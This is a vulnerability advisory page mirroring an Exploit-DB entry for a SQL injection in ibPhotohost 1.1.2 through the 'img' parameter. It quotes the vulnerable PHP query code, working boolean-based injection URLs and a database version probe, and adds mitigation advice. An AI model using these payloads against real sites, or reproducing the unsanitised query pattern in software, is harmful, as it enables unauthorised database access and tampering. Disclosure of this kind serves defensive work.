ibPhotohost 1.1.2 SQL Injection

vendor:

ibPhotohost

by:

fred777

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: ibPhotohost

Affected Version From: 1.1.2

Affected Version To: 1.1.2

Patch Exists: NO

Related CWE: N/A

CPE: a:invisionize:ibphotohost:1.1.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

ibPhotohost 1.1.2 SQL Injection

The ibPhotohost 1.1.2 application is vulnerable to a SQL injection vulnerability. This vulnerability is due to the application not properly sanitizing user-supplied input to the 'img' parameter of the 'index.php' script. An attacker can exploit this vulnerability by supplying a malicious SQL statement to the 'img' parameter. This can allow the attacker to view, add, modify, or delete data in the back-end database.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL statements prior to execution. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

             
#################################################
+
+  Title:       ibPhotohost 1.1.2 SQL Injection
+  Author:      fred777 - [fred777.5x.to]
+  Link:        http://mods.invisionize.com/index.php/f/7609
+  Vuln:        index.php?autocom=photohost&CODE=04&img=[SQL Injection]
+  Greetzz to:  back2hack,free-hack,hackbase,c-c
+  Contact:     nebelfrost77@googlemail.com
+
#################################################
  
--[ Vuln Code ] --
  
$id = $this->ipsclass->input['img'];

	$this->ipsclass->DB->simple_construct(array(
	'select' => '*',
	'from' => 'imgupload',
	'where' => 'imgupload_id=' . $id,
	'order' => 'imgupload_date asc'
	));
  
################################################
  
--[ Exploitable ]--
  
http://site/index.php?autocom=photohost&CODE=04&img=[SQL Injection]

http://site/index.php?autocom=photohost&CODE=04&img=1+and+1=1--+ => true
http://site/index.php?autocom=photohost&CODE=04&img=1+and+1=0--+ => false

http://site/index.php?autocom=photohost&CODE=04&img=1+and+substring(version(),1,1)=5

################################################